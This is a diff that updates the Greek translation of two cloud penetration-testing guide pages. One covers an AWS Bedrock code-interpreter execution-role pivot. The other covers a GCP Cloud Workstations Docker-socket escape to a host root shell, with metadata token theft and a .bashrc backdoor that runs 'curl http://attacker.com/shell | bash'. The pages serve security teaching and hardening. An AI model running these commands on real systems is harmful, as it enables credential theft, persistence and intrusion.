diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index c0769ddef..16dc3494d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,30 +6,30 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -Ο AgentCore Code Interpreter είναι ένα διαχειριζόμενο περιβάλλον εκτέλεσης. Οι **Custom Code Interpreters** μπορούν να διαμορφωθούν με ένα **`executionRoleArn`** που «παρέχει δικαιώματα για τον code interpreter να έχει πρόσβαση σε υπηρεσίες AWS». +AgentCore Code Interpreter είναι ένα διαχειριζόμενο περιβάλλον εκτέλεσης. **Custom Code Interpreters** μπορούν να διαμορφωθούν με ένα **`executionRoleArn`** που «παρέχει δικαιώματα για τον code interpreter να έχει πρόσβαση σε AWS services». -Εάν ένας **lower-privileged IAM principal** μπορεί να **start + invoke** μια Code Interpreter session που είναι διαμορφωμένη με ένα **more privileged execution role**, ο καλών μπορεί ουσιαστικά να **pivot into the execution role’s permissions** (lateral movement / privilege escalation ανάλογα με το scope του ρόλου). +Εάν ένας **lower-privileged IAM principal** μπορεί να **start + invoke** μια Code Interpreter session που είναι διαμορφωμένη με ένα **more privileged execution role**, ο καλών μπορεί ουσιαστικά να **pivot into the execution role’s permissions** (lateral movement / privilege escalation ανάλογα με το role scope). > [!NOTE] -> Αυτό είναι τυπικά ένα ζήτημα **misconfiguration / excessive permissions** (παραχώρηση ευρέων δικαιωμάτων στο interpreter execution role και/ή παραχώρηση ευρείας invoke πρόσβασης). -> Η AWS προειδοποιεί ρητά να αποφεύγεται το privilege escalation διασφαλίζοντας ότι τα execution roles έχουν **ίδια ή λιγότερα** προνόμια σε σχέση με τις ταυτότητες που επιτρέπεται να κάνουν invoke. +> Αυτό είναι τυπικά ένα **misconfiguration / excessive permissions** θέμα (παροχή ευρέων δικαιωμάτων στο interpreter execution role και/ή παροχή ευρείας invoke πρόσβασης). +> AWS προειδοποιεί ρητά να αποφευχθεί το privilege escalation εξασφαλίζοντας ότι τα execution roles έχουν **equal or fewer** privileges από τις ταυτότητες που επιτρέπεται να invoke. -#### Προαπαιτούμενα (συνήθη misconfiguration) +#### Preconditions (common misconfiguration) -- Υπάρχει ένας **custom code interpreter** με ένα υπερ-προνομιούχο **execution role** (π.χ. πρόσβαση σε ευαίσθητα S3/Secrets/SSM ή δυνατότητες τύπου IAM-admin). -- Ένας χρήστης (developer/auditor/CI identity) έχει δικαιώματα για: - - έναρξη συνεδριών: `bedrock-agentcore:StartCodeInterpreterSession` - - εκτέλεση εργαλείων: `bedrock-agentcore:InvokeCodeInterpreter` -- (Προαιρετικά) Ο χρήστης μπορεί επίσης να δημιουργήσει interpreters: `bedrock-agentcore:CreateCodeInterpreter` (του επιτρέπει να δημιουργήσει έναν νέο interpreter διαμορφωμένο με ένα execution role, ανάλογα με τα org guardrails). +- Υπάρχει ένας **custom code interpreter** με ένα over-privileged **execution role** (π.χ.: πρόσβαση σε sensitive S3/Secrets/SSM ή IAM-admin-like capabilities). +- Ένας χρήστης (developer/auditor/CI identity) έχει δικαιώματα να: +- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` +- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Προαιρετικό) Ο χρήστης μπορεί επίσης να δημιουργήσει interpreters: `bedrock-agentcore:CreateCodeInterpreter` (του επιτρέπει να δημιουργήσει έναν νέο interpreter διαμορφωμένο με ένα execution role, ανάλογα με τα org guardrails). #### Recon (identify custom interpreters and execution role usage) -Καταγράψτε τους interpreters (control-plane) και ελέγξτε τη διαμόρφωσή τους: +Καταγράψτε interpreters (control-plane) και ελέγξτε τη διαμόρφωσή τους: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> Η εντολή create-code-interpreter υποστηρίζει `--execution-role-arn` που καθορίζει ποια δικαιώματα AWS θα έχει ο interpreter. +> Η εντολή create-code-interpreter υποστηρίζει `--execution-role-arn` το οποίο ορίζει ποια AWS δικαιώματα θα έχει ο interpreter. #### Βήμα 1 - Ξεκινήστε μια συνεδρία (αυτό επιστρέφει ένα `sessionId`, όχι ένα interactive shell) ```bash @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Βήμα 2 - Εκτέλεση κώδικα (Boto3 ή υπογεγραμμένο HTTPS) +#### Βήμα 2 - Εκτέλεση κώδικα (Boto3 ή signed HTTPS) -Δεν υπάρχει **interactive python shell** από το `start-code-interpreter-session`. Η εκτέλεση γίνεται μέσω **InvokeCodeInterpreter**. +Δεν υπάρχει **διαδραστικό python shell** από `start-code-interpreter-session`. Η εκτέλεση γίνεται μέσω του **InvokeCodeInterpreter**. -**Επιλογή A - Boto3 παράδειγμα (execute Python + επαλήθευση ταυτότητας):** +**Επιλογή A - Παράδειγμα Boto3 (εκτέλεση Python + επαλήθευση ταυτότητας):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Εάν ο διερμηνευτής είναι ρυθμισμένος με ρόλο εκτέλεσης, η έξοδος του `sts:GetCallerIdentity()` θα πρέπει να αντικατοπτρίζει την ταυτότητα αυτού του ρόλου (όχι του καλούντος με χαμηλά προνόμια), καταδεικνύοντας το pivot. +Εάν ο interpreter είναι ρυθμισμένος με execution role, η έξοδος του `sts:GetCallerIdentity()` θα πρέπει να αντικατοπτρίζει την ταυτότητα αυτού του role (όχι του low-priv caller), επιδεικνύοντας το pivot. -**Επιλογή B - Υπογεγραμμένη κλήση HTTPS (awscurl):** +**Επιλογή B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -89,18 +89,18 @@ awscurl -X POST \ ``` #### Επιπτώσεις -* **Lateral movement** σε οποιαδήποτε πρόσβαση AWS που έχει ο ρόλος εκτέλεσης του interpreter. -* **Privilege escalation** εάν ο ρόλος εκτέλεσης του interpreter έχει περισσότερα προνόμια από τον caller. -* Πιο δύσκολη ανίχνευση αν τα CloudTrail data events για τις κλήσεις του interpreter δεν είναι ενεργοποιημένα (οι κλήσεις ίσως δεν καταγράφονται από προεπιλογή, ανάλογα με τη διαμόρφωση). +* **Lateral movement** σε όποια πρόσβαση AWS έχει ο ρόλος εκτέλεσης του interpreter. +* **Privilege escalation** εάν ο ρόλος εκτέλεσης του interpreter έχει περισσότερα προνόμια από τον καλούντα. +* Δυσκολότερη ανίχνευση εάν τα CloudTrail data events για interpreter invocations δεν είναι ενεργοποιημένα (οι invocations ενδέχεται να μην καταγράφονται από προεπιλογή, ανάλογα με τη διαμόρφωση). -#### Αντιμετώπιση / Σκληροποίηση +#### Μέτρα μετριασμού / Σκληροποίηση -* **Least privilege** στο interpreter `executionRoleArn` (αντιμετωπίστε το όπως τα Lambda execution roles / CI roles). -* **Περιορίστε ποιος μπορεί να καλέσει** (`bedrock-agentcore:InvokeCodeInterpreter`) και ποιος μπορεί να ξεκινήσει συνεδρίες. -* Χρησιμοποιήστε **SCPs** για να απορρίψετε το InvokeCodeInterpreter εκτός από εγκεκριμένους agent runtime roles (μπορεί να απαιτηθεί εφαρμογή σε επίπεδο οργανισμού). -* Ενεργοποιήστε τα κατάλληλα **CloudTrail data events** για AgentCore όπου ισχύει· ειδοποιήστε για απροσδόκητες κλήσεις και δημιουργία συνεδριών. +* **Least privilege** στο interpreter `executionRoleArn` (χειριστείτε το όπως Lambda execution roles / CI roles). +* **Περιορίστε ποιος μπορεί να invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) και ποιος μπορεί να ξεκινήσει sessions. +* Χρησιμοποιήστε **SCPs** για να αρνηθείτε InvokeCodeInterpreter εκτός από εγκεκριμένους agent runtime roles (μπορεί να είναι απαραίτητη η επιβολή σε επίπεδο org). +* Ενεργοποιήστε τα κατάλληλα **CloudTrail data events** για AgentCore όπου εφαρμόζεται· ειδοποιήστε για απροσδόκητες invocations και δημιουργία sessions. -## Αναφορές +## References - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index ff1517f9f..8cea87b59 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,16 +3,16 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -Η κύρια διαδρομή ανάκτησης προνομίων στα Cloud Workstations προέρχεται από την ανάγκη υποστήριξης των workflows **Docker-in-Docker (DinD)** για developers. Όταν η ρύθμιση του workstation προσαρτά το Docker socket ή επιτρέπει privileged containers (μια κοινή ρύθμιση), ένας επιτιθέμενος μέσα στο container του workstation μπορεί να διαφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του. +Η κύρια διαδρομή privilege escalation σε Cloud Workstations προέρχεται από την ανάγκη υποστήριξης **Docker-in-Docker (DinD)** workflows για προγραμματιστές. Όταν η διαμόρφωση του workstation κάνει mount το Docker socket ή επιτρέπει privileged containers (συνηθισμένη διαμόρφωση), ένας επιτιθέμενος μέσα στο workstation container μπορεί να διαφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του. **Προαπαιτούμενα:** -- Πρόσβαση σε τερματικό ενός Cloud Workstation (μέσω SSH, παραβιασμένης συνεδρίας ή κλεμμένων διαπιστευτηρίων) -- Η ρύθμιση του workstation πρέπει να κάνει mount το `/var/run/docker.sock` ή να ενεργοποιεί privileged containers +- Πρόσβαση σε τερματικό Cloud Workstation (μέσω SSH, παραβιασμένης συνεδρίας ή κλεμμένων διαπιστευτηρίων) +- Η διαμόρφωση του workstation πρέπει να κάνει mount `/var/run/docker.sock` ή να ενεργοποιεί privileged containers -**Architecture context:** Το workstation είναι ένα container (Layer 3) που τρέχει πάνω σε Docker/Containerd runtime (Layer 2) σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο container runtime του host. +**Πλαίσιο αρχιτεκτονικής:** Το workstation είναι ένα container (Layer 3) που τρέχει σε Docker/Containerd runtime (Layer 2) πάνω σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο host container runtime. > [!NOTE] -> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί ολόκληρη τη διαδικασία container escape και σας αφήνει σε ένα root shell στο host VM. +> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί το πλήρες container escape και σας τοποθετεί σε root shell στο host VM.
@@ -26,11 +26,9 @@ ls -l /var/run/docker.sock
-Βήμα 2: Διαφυγή στο σύστημα αρχείων του host VM +Βήμα 2: Escape to the host VM filesystem -Εκκινούμε ένα container με αυξημένα προνόμια, προσαρτώντας τον root κατάλογο του host στο `/mnt/host`. Επίσης μοιραζόμαστε το host network και το PID namespace για να μεγιστοποιήσουμε την ορατότητα. - -
+Εκκινούμε έναν privileged container, κάνοντας mount το root directory του host στο `/mnt/host`. Επίσης μοιραζόμαστε το network και το PID namespace του host για να μεγιστοποιήσουμε την ορατότητα. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -40,7 +38,7 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Τώρα έχετε ένα **root shell στην υποκείμενη Compute Engine VM** (Layer 1). +Τώρα έχετε ένα **root shell στο υποκείμενο Compute Engine VM** (Layer 1).
@@ -63,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop > [!CAUTION] -> **Check the Scopes!** -> Ακόμα κι αν ο συνδεδεμένος Service Account είναι **Editor**, το VM μπορεί να περιορίζεται από τα access scopes. -> Αν βλέπετε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση. +> **Ελέγξτε τα Scopes!** +> Ακόμα και αν ο συνδεδεμένος Service Account είναι **Editor**, η VM μπορεί να περιορίζεται από access scopes. +> Αν δείτε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση. > Αν βλέπετε μόνο `logging.write` και `monitoring.write`, περιορίζεστε στα **Network Pivot** και **Persistence** vectors παρακάτω.
-Βήμα 4: Achieve Persistence (Backdoor the User) +Βήμα 4: Επιτύχετε Persistence (Backdoor the User) -Τα Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Εφόσον ο container user (συνήθως `user`, UID 1000) αντιστοιχεί στον host user (UID 1000), μπορείτε να γράψετε στον home κατάλογο του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμη κι αν το workstation container επαναδημιουργηθεί. +Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Επειδή ο container user (συνήθως `user`, UID 1000) ταυτίζεται με τον host user (UID 1000), μπορείτε να γράψετε στον home directory του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμα κι αν το workstation container αναδημιουργηθεί. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
-Step 5: Network Pivot (Internal VPC Access) +Βήμα 5: Network Pivot (Internal VPC Access) -Εφόσον μοιράζεστε τον χώρο ονομάτων δικτύου του host (`--net=host`), είστε πλέον ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση με βάση το IP whitelisting. +Εφόσον μοιράζεστε το host network namespace (`--net=host`), τώρα είστε ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση βάσει IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap